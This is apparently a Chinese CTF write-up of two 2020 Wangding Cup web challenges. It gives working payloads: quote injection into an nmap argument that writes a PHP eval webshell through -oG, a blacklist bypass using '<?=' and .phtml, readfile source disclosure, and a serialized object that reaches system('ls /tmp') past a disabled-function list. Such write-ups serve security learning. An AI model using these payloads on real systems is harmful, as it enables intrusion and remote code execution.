2020网鼎杯朱雀组WEB-NMAP&PHPWEB

NMAP

这题BUU上类似的题目,就是题目提供了使用nmap扫描并保存的接口.所以我们可以使用下面这个参数写文件:

1
-oG #可以实现将命令和结果写到文件

并且源码大概的构造:

1
2
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
我们可以通过这种思路,拼接单引号,达到控制参数的目的,从而将我们构造的shell写入文件中

直接使用BUU题目中的payload进行测试

1
2
3
' <?php @eval($_POST["hack"]);?> -oG hack.php '
提示我们Hacker,应该存在黑名单,fuzz发现,php被过滤了,我们再次构造一下代码
' <?= @eval($_POST["hack"]);?> -oG hack.phtml '

这里使用“=”绕过文件中的php字符,使用“phtml”绕过对“php”文件后缀的检测,再次输入之后执行命令执行:

1
post:hack=readfile("/flag");

PHPWEB

进入之后发现有时间显示,抓包看一下,post了两个参数func和p参数我们发现func参数调用了函数date(),p参数调用了函数date中填写的时间格式,我们尝试构造一下,查看能否代码执行,首先尝试读取index.php的文件,我们构造如下语句:

1
func=readfile&p=index.php

发现成功读取源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

禁用了很多函数,主要是命令执行的函数.但是不影响我们读取文件,同时我们发现,存在魔法函数,我们也可以通过构造反序列化代码,来达到绕过黑名单,执行system等函数的目的.尝试目录穿越读取文件.
但是在读取根目录下flag时,无法读出,猜测flag存在其他目录,或者flag非正常名称,我们需要构造系统命令进行目录查看,这是我们可以构造反序列化代码:

1
2
3
4
5
6
7
8
9
class Test {
public $p = "ls /tmp";
public $func = "system";
}
$c=new Test();
$d=serialize($c);
echo $d;
O:4:"Test":2:{s:1:"p";s:7:"ls /tmp";s:4:"func";s:6:"system";}
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:7:"ls /tmp";s:4:"func";s:6:"system";}

使用readfile读取文件,即可获取flag.

0%